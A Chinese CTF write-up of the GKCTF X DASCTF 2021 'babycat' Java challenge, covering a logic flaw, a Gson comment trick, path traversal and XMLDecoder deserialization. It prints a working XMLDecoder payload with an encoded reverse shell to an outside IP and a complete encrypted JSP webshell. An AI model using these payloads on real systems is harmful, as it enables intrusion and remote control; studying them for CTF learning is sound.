17解的一道题,涉及到了java反序列化的知识,学习了。

看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚。

打开后是个登录框,sign up提示不让注册,这里卡了好久,以为是fastjson或jackjson的漏洞,想多了

其实只是个逻辑漏洞,直接把/login的POST包,改成/register就行了,也算是为自己打开了一个思路

登录进来发现是guest,下载文件存在任意文件下载,upload提示只能admin使用

fuzz了一堆系统环境没啥东西,然后去探测web.xml和classes,拿到源码,代码审计吧。

由于我代码审计太菜也看不出漏洞,只好去看看wp了。

漏洞点一(非预期):

在upload的dopost没验证身份,其实可以直接构造上传的,这个其实很容易看出来,但我不知道怎么利用,还是java知识太薄弱了

漏洞点二:

gson进⾏解析json时可以进行多行注释(这个trick我真不知道,谁没事用json做注释啊)

所以构造payload:

data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"test"*/}
替换后 :
data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"guest"*/}

这样就成功注册了admin权限用户,真tm nb啊

注册成功后回到最初的问题,上传有黑名单限制,我tm不会利用啊,看wp发现还有dao的源码没扒,真的菜啊

漏洞点三:

在com.web.dao.baseDao中有使⽤了xmldecoder

然后找触发,登录或注册会触发baseDao.getConnection();触发/db/db.xml

此时我们就有思路了,上传进行目录穿越覆盖db.xml,登录或注册触发xml反序列化漏洞。

这里filename="../../db/db.xml"

这个xmldecoder是weblogic的老漏洞了,利用方式也是一样的,不过过滤了ProcessBuilder这样原本的payload就失效了

不过在复现weblogic的漏洞时你会发现,有些特殊字符是必须进行unicode编码的,所以这里大佬直接编码一个P就绕过了,膜拜

<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{b
ase64,-d}|{bash,-i}</string>
</void>
</array>
<void method="start"/>
</object>
</java>

这里过内容检测没什么新鲜的,大家应该都会,就不说了

由于我没有vps,所以弹shell的事交给大家了,应该问题不大。

回到官方wp,出题人其实想考的更难一点,java.io.PrintWriter可以对绝对路径的文件进行写入,之前我们利用任意文件读取,可以得到绝对路径

这样就把shell写到static下就行了,其它思路一样

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void
method="println">
<string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string>
</void><void method="close"/>
</object>
</java>

这里要注意一点:

xml中jsp部分一定不要带中文,最好先打好再粘贴过去,不然一直不成功,坑了我好久。

最后用冰蝎连接,执行/readflag的sh文件就行了

最后补充一下,好像如果非预期解上传jsp到web目录可以直接拿shell。

这样的话非预期解难度一下变小了,如果用预期解这道题的重点还是CVE-2017-10271利用的原理上,收获颇多。

GKCTF X DASCTF 2021_babycat复现学习的更多相关文章

  1. PHP-FPM 远程代码执行漏洞(CVE-2019-11043)的简单复现学习

    1.概述 漏洞主要由于 PHP-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 Nginx 中 f ...

  2. Struct2远程命令执行漏洞(S2-053)复现学习

    1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarke ...

  3. Redis 4.x RCE 复现学习

    攻击场景: 能够访问远程redis的端口(直接访问或者SSRF) 对redis服务器可以访问到的另一台服务器有控制权 实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执 ...

  4. CVE-2019-0708:RDP终极EXP复现

    0x00 前言 每次复现都会遇到各种各样的问题,这次也不例外,经过多次尝试才复现成功,因此把可能的解决方法也和大家分享一下,有想要一起复现学习/投稿的可以联系我哈 0x01 影响版本 Windows ...

  5. 学习 bypass csp记录

    最近看到一篇bypas csp的记录复现学习下 配置csp 这里直接设置html头达到配置csp的效果. Content-Security-Policy: script-src 'self' 'uns ...

  6. Supervisord远程命令执行漏洞(CVE-2017-11610)复现

    Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...

  7. 掌握AI学习路上核心理论知识,你绝对不能错过这份最全资料包

    人工智能成为当下科技发展的代表之一,持续受到了不少追捧,不管你是否是这一专业的学生或者职场人,学习并掌握一项新潮技能总是不会被同龄人淘汰的.我曾经问过别人.也被别人问过关于学习人工智能(AI)最好的方 ...

  8. [零基础学IoT Pwn] 复现Netgear WNAP320 RCE

    [零基础学IoT Pwn] 复现Netgear WNAP320 RCE 0x00 前言: 这是[零基础学IoT Pwn]的第二篇,上篇我们搭好了仿真环境后,模拟运行了Netgear WNAP320固件 ...

  9. gopher 协议初探

    Gopher 协议初探 最近两天看到了字节脉搏实验室公众号上有一篇<Gopher协议与redis未授权访问>的文章,其中对gopher协议进行了比较详细的介绍,所以打算跟着后面复现学习一下 ...

随机推荐

  1. GO学习-(12) Go语言基础之函数

    Go语言基础之函数 函数是组织好的.可重复使用的.用于执行指定任务的代码块.本文介绍了Go语言中函数的相关内容. 函数 Go语言中支持函数.匿名函数和闭包,并且函数在Go语言中属于"一等公民 ...

  2. Java中Map<Key, Value>存储结构根据值排序(sort by values)

    需求:Map<key, value>中可以根据key, value 进行排序,由于 key 都是唯一的,可以很方便的进行比较操作,但是每个key 对应的value不是唯一的,有可能出现多个 ...

  3. TVM交叉编译和远程RPC

    TVM交叉编译和远程RPC 本文介绍了TVM中使用RPC的交叉编译和远程设备执行. 使用交叉编译和RPC,可以在本地计算机上编译程序,然后在远程设备上运行它.当远程设备资源受到限制时(如Raspber ...

  4. 软件工具将GPU代码迁移到fpga以用于AI应用

    软件工具将GPU代码迁移到fpga以用于AI应用 Software tools migrate GPU code to FPGAs for AI applications 人工智能软件初创公司Mips ...

  5. 如何查看app启动的activity

    adb 查看 使用adb shell 进入安卓的linux系统 拿QQ做例子: monkey -p com.tencent.mobileqq -v -v 1 #启动一次 启动页面为:com.tence ...

  6. 【Azure 机器人】微软Azure Bot 编辑器系列(4) : 使用语言生成功能[LG: Language Generation] (The Bot Framework Composer tutorials)

    欢迎来到微软机器人编辑器使用教程,从这里开始,创建一个简单的机器人. 在该系列文章中,每一篇都将通过添加更多的功能来构建机器人.当完成教程中的全部内容后,你将成功的创建一个天气机器人(Weather ...

  7. 让Github畅通无阻,FastGithub1.0.0发布

    前言 我近半年来被github的抽风虐得没脾气了,虽然我有代理的方式来上网,但代理速度并不理想,而且有时代理服务一起跟着抽风.这时候,我会搜索"github访问不了"相关题材,其中 ...

  8. Waymo object detect 2D解决方案论文拓展

    FixMatch 半监督中的基础论文,自监督和模型一致性的代表作. Consistency regularization: 无监督学习的方式,数据\(A\)和经过数据增强的\(A\)计做\(A'\) ...

  9. 基于ABP落地领域驱动设计-02.聚合和聚合根的最佳实践和原则

    目录 前言 聚合 聚合和聚合根原则 包含业务原则 单个单元原则 事务边界原则 可序列化原则 聚合和聚合根最佳实践 只通过ID引用其他聚合 用于 EF Core 和 关系型数据库 保持聚合根足够小 聚合 ...

  10. java变量及常量

    变量 本质:就是代表一个"可操作的存储空间",空间位置是确定的,但是里面放置什么值不确定.我们可通过变量名来访问"对应的存储空间",从而操纵这个"存储 ...